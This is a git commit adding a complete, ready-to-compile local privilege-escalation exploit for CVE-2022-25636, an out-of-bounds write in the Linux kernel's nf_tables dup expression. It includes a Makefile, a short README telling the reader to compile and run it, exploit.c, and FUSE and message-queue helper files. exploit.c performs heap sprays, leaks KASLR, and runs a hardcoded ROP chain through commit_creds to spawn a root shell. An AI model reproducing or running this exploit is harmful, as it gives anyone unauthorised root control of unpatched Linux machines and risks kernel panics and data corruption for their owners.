add CVE-2022-25636 Linux 本地提权

This commit is contained in:
helloexp 2022-03-10 12:06:41 +08:00
parent f921960329
commit 3ee4545e3e
8 changed files with 813 additions and 0 deletions

View File

@ -0,0 +1,11 @@
LDFLAGS = -no-pie -I/usr/include/fuse -lfuse -pthread -lmnl -lnftnl
CC = gcc
all: exploit
.PHONY: exploit
exploit:
$(CC) exploit.c fakefuse.c util.c -o exploit $(CFLAGS) $(LDFLAGS)
clean:
rm -f exploit

View File

@ -0,0 +1,10 @@
# CVE-2022-25636 Linux 本地提权
This is my exploit for `CVE-2022-25636`.
I tested it against Ubuntu 21.10 with kernel `5.13.0-30`.
Works about `~40%` of the time, in the other cases you likely get a kernel panic.
The exploit might corrupt important data on heap, after an unsuccessful attempt it's best to reboot.
## USAGE
编译完成后,直接运行即可
![执行结果](poc.png)

View File

@ -0,0 +1,668 @@
#define _GNU_SOURCE
#include "fakefuse.h"
#include "util.h"
#include <arpa/inet.h>
#include <asm/types.h>
#include <err.h>
#include <libmnl/libmnl.h>
#include <libnftnl/chain.h>
#include <libnftnl/expr.h>
#include <libnftnl/rule.h>
#include <libnftnl/table.h>
#include <linux/ethtool.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/sockios.h>
#include <net/if.h>
#include <sched.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <unistd.h>
// #define DEBUG
#define SPRAY_128 500
#define SPRAY_128_FREE_IDX 400
#define SPRAY_192 500
#define SPRAY_192_FREE_IDX 400
#define SPRAY_4K 1000
#define LEAK_HEAP_MAX_TRIES 10
void shell();
int spray_128_qids[SPRAY_128], spray_192_qids[SPRAY_192],
spray_4k_qids[SPRAY_4K];
int child_done = 0;
pthread_t thids[SPRAY_4K];
uint64_t setxattr_bufs[SPRAY_4K], setxattr_bufs_2[SPRAY_4K];
const char *spray1_path = "1", *spray2_path = "2";
char *fargs_fuse[] = {"exploit", "/tmp/foo", NULL};
static const struct fuse_operations fuse_ops = {
.getattr = fuse_getattr, .readdir = fuse_readdir, .read = fuse_read};
uint64_t child_net_device_leak = -1, net_device_leak = -1;
uint64_t kaslr_base;
uint64_t stack_pivot_gadget = 0xffffffffae48c7d4 - 0xffffffffae400000;
uint64_t pop_pop_pop_ret = 0xffffffffae5aafed - 0xffffffffae400000;
uint64_t pop_rdi_ret = 0xffffffffae495040 - 0xffffffffae400000;
uint64_t prepare_kernel_cred = 0xffffffffae4d4590 - 0xffffffffae400000;
uint64_t commit_creds = 0xffffffffae4d4330 - 0xffffffffae400000;
uint64_t xor_dh_dh_ret = 0xffffffffae908f19 - 0xffffffffae400000;
uint64_t mov_rdi_rax_jne_ret = 0xffffffffae9c01f4 - 0xffffffffae400000;
uint64_t pop_r12_pop_r15_ret = 0xffffffffae49503d - 0xffffffffae400000;
uint64_t kpti_trampoline_pop_rax_pop_rdi_swapgs_iretq =
0xffffffffaf201006 - 0xffffffffae400000;
uint64_t user_cs, user_ss, user_sp, user_rflags, user_rip = (uint64_t)shell;
void vuln(int oob_writes, int legit_writes) {
// setup table
struct nftnl_table *table = nftnl_table_alloc();
nftnl_table_set_str(table, NFTNL_TABLE_NAME, "x");
nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0);
// chain
struct nftnl_chain *chain = nftnl_chain_alloc();
nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, "x");
nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, "y");
nftnl_chain_set_u32(chain, NFTNL_CHAIN_HOOKNUM, NF_NETDEV_INGRESS);
nftnl_chain_set_u32(chain, NFTNL_CHAIN_PRIO, 10);
nftnl_chain_set_str(chain, NFTNL_CHAIN_DEV, "lo");
nftnl_chain_set_str(chain, NFTNL_CHAIN_TYPE, "filter");
struct nftnl_rule *rule = nftnl_rule_alloc();
nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, "x");
nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, "y");
struct nftnl_expr *exprs[128];
int exprid = 0;
exprs[exprid] = nftnl_expr_alloc("meta");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_META_KEY, NFT_META_PROTOCOL);
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_META_DREG, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
exprs[exprid] = nftnl_expr_alloc("cmp");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_CMP_SREG, NFT_REG_1);
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_CMP_OP, NFT_CMP_EQ);
nftnl_expr_set_u16(exprs[exprid], NFTNL_EXPR_CMP_DATA, 8);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
exprs[exprid] = nftnl_expr_alloc("payload");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_PAYLOAD_BASE,
NFT_PAYLOAD_NETWORK_HEADER);
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_PAYLOAD_OFFSET, 16);
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_PAYLOAD_LEN, 4);
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_PAYLOAD_DREG, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
exprs[exprid] = nftnl_expr_alloc("cmp");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_CMP_SREG, NFT_REG_1);
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_CMP_OP, NFT_CMP_EQ);
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_CMP_DATA, 0x0200007f);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
// with these we can control the targeted kmalloc size
for (int i = 0; i < legit_writes; i++) {
exprs[exprid] = nftnl_expr_alloc("immediate");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
exprs[exprid] = nftnl_expr_alloc("dup");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
}
// oob writes
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes;
unaccounted_dup++) {
exprs[exprid] = nftnl_expr_alloc("dup");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
}
// serialize
char buf[MNL_SOCKET_BUFFER_SIZE];
struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
int seq = 0;
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
struct nlmsghdr *nlh;
nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWTABLE, NFPROTO_NETDEV, 0, seq++);
nftnl_table_nlmsg_build_payload(nlh, table);
mnl_nlmsg_batch_next(batch);
nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWCHAIN, NFPROTO_NETDEV,
NLM_F_CREATE, seq++);
nftnl_chain_nlmsg_build_payload(nlh, chain);
mnl_attr_put_u32(nlh, NFTA_CHAIN_FLAGS, htonl(2));
mnl_nlmsg_batch_next(batch);
nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWRULE, NFPROTO_NETDEV,
NLM_F_CREATE | NLM_F_APPEND, seq++);
nftnl_rule_nlmsg_build_payload(nlh, rule);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
struct mnl_socket *nl = mnl_socket_open(NETLINK_NETFILTER);
if (nl == NULL) {
err(1, "mnl_socket_open");
}
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0) {
err(1, "mnl_socket_send");
}
}
/*
4k spray using setxattr
*/
// Setup setxattr spray to leak kaslr
void setup_setxattr() {
uint64_t mmap_addr = 0x50000000;
system("touch /tmp/foo.txt");
int fd = open("/tmp/foo/1", O_RDWR);
if (fd < 0) {
perror("open() failed");
exit(-1);
}
for (int i = 0; i < SPRAY_4K; i++) {
setxattr_bufs[i] =
(uint64_t)mmap((void *)mmap_addr, 0x1000, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);
if (setxattr_bufs[i] != (uint64_t)mmap_addr) {
perror("[!] setup_setxattr(): mmap error 1");
exit(1);
}
memset((void *)(setxattr_bufs[i]), 0x42, 0x1000);
memset(((void *)(setxattr_bufs[i])) + 0x1000 - 700, 0x0, 700);
((uint64_t *)(setxattr_bufs[i]))[2] = 0x6f6c; // dev->name = "lo"
((uint64_t *)(setxattr_bufs[i]))[104] =
child_net_device_leak + 0xc8; // set dev_addr ptr
((uint64_t *)(setxattr_bufs[i]))[78] =
0x0808080800000000; // set addr_len to '0x08'
((uint64_t *)(setxattr_bufs[i]))[28] = 0x42424242; // ifindex
if (((uint64_t)mmap((void *)(setxattr_bufs[i] + 0x1000), 0x1000,
PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, fd,
0)) != (setxattr_bufs[i] + 0x1000)) {
perror("[!] setup_setxattr(): mmap error 2");
exit(1);
}
mmap_addr += 0x2000;
}
}
void *setxattr_sprayer(void *i) {
setxattr("/tmp/foo.txt", "user.spray", (void *)setxattr_bufs[*(int *)i] + 16,
0x1000, XATTR_CREATE);
}
void spray_4k() {
for (int i = 0; i < SPRAY_4K; i++) {
int *arg = malloc(sizeof(int));
*arg = i;
pthread_create(&thids[i], NULL, setxattr_sprayer, arg);
}
}
/* */
/*
4k spray using setxattr - 2
*/
// Setup setxattr spray to rop
void setup_setxattr_2() {
uint64_t mmap_addr = 0x60000000;
system("touch /tmp/foo.txt");
int fd = open("/tmp/foo/2", O_RDWR);
if (fd < 0) {
perror("open() failed");
exit(-1);
}
for (int i = 0; i < SPRAY_4K; i++) {
setxattr_bufs_2[i] =
(uint64_t)mmap((void *)mmap_addr, 0x1000, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);
if (setxattr_bufs_2[i] != (uint64_t)mmap_addr) {
perror("[!] setup_setxattr_2(): mmap error 1");
exit(1);
}
memset((void *)(setxattr_bufs_2[i]), 0x42, 0x1000);
memset(((void *)(setxattr_bufs_2[i])) + 0x1000 - 700, 0x0, 700);
int k = 2;
((uint64_t *)(setxattr_bufs_2[i]))[k++] = 0x6f6c; // dev->name = "lo"
((uint64_t *)(setxattr_bufs_2[i]))[k++] = 0x4444444444444444;
((uint64_t *)(setxattr_bufs_2[i]))[k++] = kaslr_base + pop_rdi_ret;
((uint64_t *)(setxattr_bufs_2[i]))[k++] = 0x0; // rdi
((uint64_t *)(setxattr_bufs_2[i]))[k++] = kaslr_base + prepare_kernel_cred;
((uint64_t *)(setxattr_bufs_2[i]))[k++] = kaslr_base + xor_dh_dh_ret;
((uint64_t *)(setxattr_bufs_2[i]))[k++] = kaslr_base + pop_pop_pop_ret;
((uint64_t *)(setxattr_bufs_2[i]))[k++] = 0xffffffffffffffff;
((uint64_t *)(setxattr_bufs_2[i]))[k++] = 0xffffffffffffffff;
((uint64_t *)(setxattr_bufs_2[i]))[k++] = kaslr_base + mov_rdi_rax_jne_ret;
((uint64_t *)(setxattr_bufs_2[i]))[k++] = kaslr_base + commit_creds;
((uint64_t *)(setxattr_bufs_2[i]))[k++] =
kaslr_base + kpti_trampoline_pop_rax_pop_rdi_swapgs_iretq;
((uint64_t *)(setxattr_bufs_2[i]))[k++] = 0x0; // rax
((uint64_t *)(setxattr_bufs_2[i]))[k++] = 0x0; // rdi
((uint64_t *)(setxattr_bufs_2[i]))[k++] = user_rip; // user_rip
((uint64_t *)(setxattr_bufs_2[i]))[k++] = user_cs; // user_cs
((uint64_t *)(setxattr_bufs_2[i]))[k++] = user_rflags; // user_rflags
((uint64_t *)(setxattr_bufs_2[i]))[k++] = user_sp; // user_sp
((uint64_t *)(setxattr_bufs_2[i]))[k++] = user_ss; // user_ss
((uint64_t *)(setxattr_bufs_2[i]))[28] = 0x43434343; // ifindex
((uint64_t *)(setxattr_bufs_2[i]))[68] =
(net_device_leak + 0x218) - 0xc8; // *ethtool_ops ptr
((uint64_t *)(setxattr_bufs_2[i]))[69] =
kaslr_base + stack_pivot_gadget; // *func ptr
if (((uint64_t)mmap((void *)(setxattr_bufs_2[i] + 0x1000), 0x1000,
PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, fd,
0)) != (setxattr_bufs_2[i] + 0x1000)) {
perror("[!] setup_setxattr_2(): mmap error 2");
exit(1);
}
mmap_addr += 0x2000;
}
}
void *setxattr_sprayer_2(void *i) {
if (setxattr("/tmp/foo.txt", "user.spray",
(void *)setxattr_bufs_2[*(int *)i] + 16, 0x1000,
XATTR_CREATE) == -1) {
perror("setxattr");
exit(1);
}
}
void spray_4k_2() {
for (int i = 0; i < SPRAY_4K; i++) {
int *arg = malloc(sizeof(int));
*arg = i;
pthread_create(&thids[i], NULL, setxattr_sprayer_2, arg);
}
}
/* */
/*
128 spray using msg_msg
*/
void spray_128() {
char buffer[0x4000] = {0};
msg *message = (msg *)buffer;
memset(buffer, 0x41, sizeof(buffer));
for (int i = 0; i < SPRAY_128; i++) {
int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(spray, message, 128 - 0x30, 0);
spray_128_qids[i] = spray;
}
}
/* */
/*
192 spray using msg_msg
*/
void spray_192() {
char buffer[0x4000] = {0};
msg *message = (msg *)buffer;
memset(buffer, 0x41, sizeof(buffer));
for (int i = 0; i < SPRAY_192; i++) {
int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(spray, message, 192 - 0x30, 0);
spray_192_qids[i] = spray;
}
}
void delete_192(int i) {
char buf[0x1000] = {0};
get_msg(spray_192_qids[i], buf, 192 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR);
}
/* */
/*
128 spray using msg_msgseg
*/
void spray_128_msgseg() {
char buffer[0x4000] = {0};
msg *message = (msg *)buffer;
memset(buffer, 0x41, sizeof(buffer));
for (int i = 0; i < SPRAY_128; i++) {
int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
// this will allocate a 4k msg_msg and a 128 msg_msgseg
send_msg(spray, message, 0x1080 - 0x40, 0);
spray_128_qids[i] = spray;
}
}
void delete_128(int i) {
char buf[0x1000] = {0};
get_msg(spray_128_qids[i], buf, 128 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR);
}
/* */
void rop() {
struct ethtool_cmd ecmd;
struct ifreq ifr;
int fd;
memset(&ecmd, 0, sizeof(ecmd));
memset(&ifr, 0, sizeof(ifr));
if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
perror("socket()");
exit(1);
}
ecmd.cmd = ETHTOOL_GSET;
ifr.ifr_data = (caddr_t)&ecmd;
strncpy(ifr.ifr_name, "lo", IF_NAMESIZE);
ifr.ifr_name[IF_NAMESIZE - 1] = '\0';
if (!(ioctl(fd, SIOCETHTOOL, &ifr) < 0)) {
perror("ioctl(SIOCETHTOOL)");
exit(1);
}
puts("[+] ioctl(SIOCETHTOOL) done");
}
uint64_t check_heap_leak() {
char buffer[0x4000] = {0};
uint64_t leak = -1;
for (int i = 0; i < SPRAY_128; i++) {
if (i == SPRAY_128_FREE_IDX)
continue;
get_msg(spray_128_qids[i], buffer, 0x1080 - 0x40, 0, IPC_NOWAIT);
if ((((uint64_t *)buffer)[507] & 0xffff000000000000) == 0xffff000000000000)
leak = ((uint64_t *)buffer)[507];
}
return leak;
}
uint64_t do_heap_leak() {
int i = 0;
uint64_t leak;
do {
#ifdef DEBUG
printf("[*] leak net_device try no. %d\n", ++i);
#endif
spray_128_msgseg();
delete_128(SPRAY_128_FREE_IDX);
vuln(1, 1);
leak = check_heap_leak();
} while ((leak == -1) && (i < LEAK_HEAP_MAX_TRIES));
return leak;
}
int child(void *a) {
child_net_device_leak = do_heap_leak();
child_done = 1;
sleep(10000);
}
void leak_heap(int leak_child) {
// Leak child's net_device struct
if (leak_child) {
void *stack = malloc(200000);
int tid = clone(child, stack + 200000,
CLONE_VM | CLONE_NEWUSER | CLONE_NEWNET, NULL);
// Wait for child to exit
while (!child_done) {
sleep(1);
}
free(stack);
if (child_net_device_leak == -1) {
puts("[!] couldn't leak child's net_device ptr");
exit(1);
}
} else { // Leak parent's net_device struct
net_device_leak = do_heap_leak();
if (net_device_leak == -1) {
puts("[!] couldn't leak parent's net_device ptr");
exit(1);
}
}
}
uint64_t kaslr_leak() {
struct ifreq *leak = calloc(1, 0x1000);
strcpy(leak->ifr_name, "lo");
int fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_IP);
if (!fd) {
perror("socket()");
exit(1);
}
if (ioctl(fd, SIOCGIFHWADDR, leak) != 0) {
perror("ioctl(SIOCGIFHWADDR)");
exit(1);
}
uint64_t kaslr_leak = ((uint64_t *)leak->ifr_addr.sa_data)[0];
if ((kaslr_leak & 0xffffffff00000000) == 0xffffffff00000000)
return kaslr_leak;
return -1;
}
void shell() {
// thanks movaps
syscall(SYS_execve, "/bin/sh", 0, 0);
}
void save_state() {
__asm__(".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;");
}
int free_netdevice() {
char buf[0x300];
spray_192();
delete_192(SPRAY_192_FREE_IDX);
vuln(6, 2);
for (int i = 0; i < SPRAY_192; i++) {
if (i == SPRAY_192_FREE_IDX)
continue;
get_msg(spray_192_qids[i], buf, 192 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR);
if (((uint64_t *)buf)[0] == 0x4141414100000005) {
return 0;
}
}
return -1;
}
int main(int argc, char **argv) {
// Unshare
if (geteuid() != 0) {
char *args[] = {
"unshare",
"-Urnm",
argv[0],
NULL,
};
execvp("unshare", args);
err(1, "unshare re-exec");
}
// Assign to cpu 0
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(cpu_set_t), &my_set) == -1) {
perror("sched_setaffinity()");
exit(1);
}
// Setup FUSE
mkdir(MNT_PATH, 0777);
pipe(spray1_pipes);
int pid = fork();
if (!pid) {
fuse_main(sizeof(fargs_fuse) / sizeof(char *) - 1, fargs_fuse, &fuse_ops,
NULL);
puts("[!] END OF FUSE MAIN 1");
sleep(500);
}
sleep(2); // Wait for fuse_main
// Save state to return to userland
save_state();
/*
1. Leak heap
*/
puts("[*] STEP 1: Leak child and parent net_device");
leak_heap(0);
printf("[+] parent net_device ptr: 0x%lx\n", net_device_leak);
leak_heap(1);
printf("[+] child net_device ptr: 0x%lx\n", child_net_device_leak);
// Setup 4k setxattr buffer to later realloc net_device and leak kaslr
setup_setxattr();
/*
2. Free net_device
*/
puts("\n[*] STEP 2: Spray kmalloc-192, overwrite msg_msg.security ptr and "
"free net_device");
int freed = 0;
for (int i = 0; i < 20; i++) {
#ifdef DEBUG
printf("[*] free net_device try no. %d\n", i);
#endif
if (free_netdevice() != -1) {
freed = 1;
break;
}
// usleep(500000);
}
if (!freed) {
puts("[!] couldn't free net_device");
exit(1);
}
puts("[+] net_device struct freed");
// sleep(2);
/*
3. Reallocate net_device
*/
puts("\n[*] STEP 3: Spray kmalloc-4k using setxattr + FUSE to realloc "
"net_device");
spray_4k();
sleep(2);
if (if_nametoindex("lo") == 0x42424242) {
puts("[+] obtained net_device struct");
} else {
puts("[!] couldn't realloc net_device struct");
exit(1);
}
/*
4. Leak kaslr
*/
puts("\n[*] STEP 4: Leak kaslr");
// Leak kaslr
if ((kaslr_base = kaslr_leak()) == -1) {
puts("[!] couldn't leak kaslr");
exit(1);
}
printf("[*] kaslr leak: 0x%lx\n", kaslr_base);
kaslr_base -= 0x130a420;
printf("[*] kaslr base: 0x%lx\n", kaslr_base);
/*
5. Free net_device and realloc it
*/
puts(
"\n[*] STEP 5: Release setxattrs, free net_device, and realloc it again");
char buf[SPRAY_4K] = {0};
write(spray1_pipes[1], buf, sizeof(buf));
for (int i = 0; i < SPRAY_4K; i++)
pthread_join(thids[i], NULL);
// Setup 4k setxattr buffers to realloc net_device and start rop
setup_setxattr_2();
spray_4k_2();
sleep(2);
if (if_nametoindex("lo") == 0x43434343) {
puts("[+] obtained net_device struct");
} else {
puts("[!] couldn't realloc net_device struct");
exit(1);
}
/*
6. Roppp :)
*/
puts("\n[*] STEP 6: rop :)");
rop();
return 0;
}

View File

@ -0,0 +1,47 @@
#include "fakefuse.h"
int spray1_pipes[2];
int fuse_read(const char *path, char *buf, size_t size, off_t offset,
struct fuse_file_info *fi) {
if (strcmp(path + 1, spray1_path) == 0) {
char signal;
read(spray1_pipes[0], &signal, 1);
} else if (strcmp(path + 1, spray2_path) == 0) {
sleep(100000);
}
return size;
}
int fuse_getattr(const char *path, struct stat *stbuf) {
int res = 0;
memset(stbuf, 0, sizeof(struct stat));
if (strcmp(path, "/") == 0) {
stbuf->st_mode = S_IFDIR | 0755;
stbuf->st_nlink = 2;
} else if (strcmp(path + 1, spray1_path) == 0 ||
strcmp(path + 1, spray2_path) == 0) {
stbuf->st_mode = S_IFREG | 0444;
stbuf->st_nlink = 1;
stbuf->st_size = 0x1000;
} else {
res = -ENOENT;
}
return res;
}
int fuse_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info *fi) {
if (strcmp(path, "/") != 0)
return -ENOENT;
filler(buf, ".", NULL, 0);
filler(buf, "..", NULL, 0);
filler(buf, spray1_path, NULL, 0);
filler(buf, spray2_path, NULL, 0);
return 0;
}

View File

@ -0,0 +1,20 @@
#define _FILE_OFFSET_BITS 64
#define FUSE_USE_VERSION 29
#include <errno.h>
#include <fcntl.h>
#include <fuse.h>
#include <stddef.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define MNT_PATH "/tmp/foo"
extern int spray1_pipes[2];
extern const char *spray1_path, *spray2_path;
int fuse_read(const char *path, char *buf, size_t size, off_t offset,
struct fuse_file_info *fi);
int fuse_getattr(const char *path, struct stat *stbuf);
int fuse_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info *fi);

Binary file not shown.

After

Width:  |  Height:  |  Size: 376 KiB

View File

@ -0,0 +1,28 @@
#include "util.h"
int32_t make_queue(key_t key, int msgflg) {
int32_t result;
if ((result = msgget(key, msgflg)) == -1) {
perror("msgget failure");
exit(-1);
}
return result;
}
ssize_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg) {
ssize_t ret;
ret = msgrcv(msqid, msgp, msgsz, msgtyp, msgflg);
if (ret < 0) {
perror("msgrcv");
// exit(-1);
}
return ret;
}
void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg) {
if (msgsnd(msqid, msgp, msgsz, msgflg) == -1) {
perror("msgsend failure");
// exit(-1);
}
return;
}

View File

@ -0,0 +1,29 @@
#define _GNU_SOURCE
#include <assert.h>
#include <fcntl.h>
#include <linux/sched.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
typedef struct {
long mtype;
char mtext[1];
} msg;
int32_t make_queue(key_t key, int msgflg);
ssize_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg);
void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg);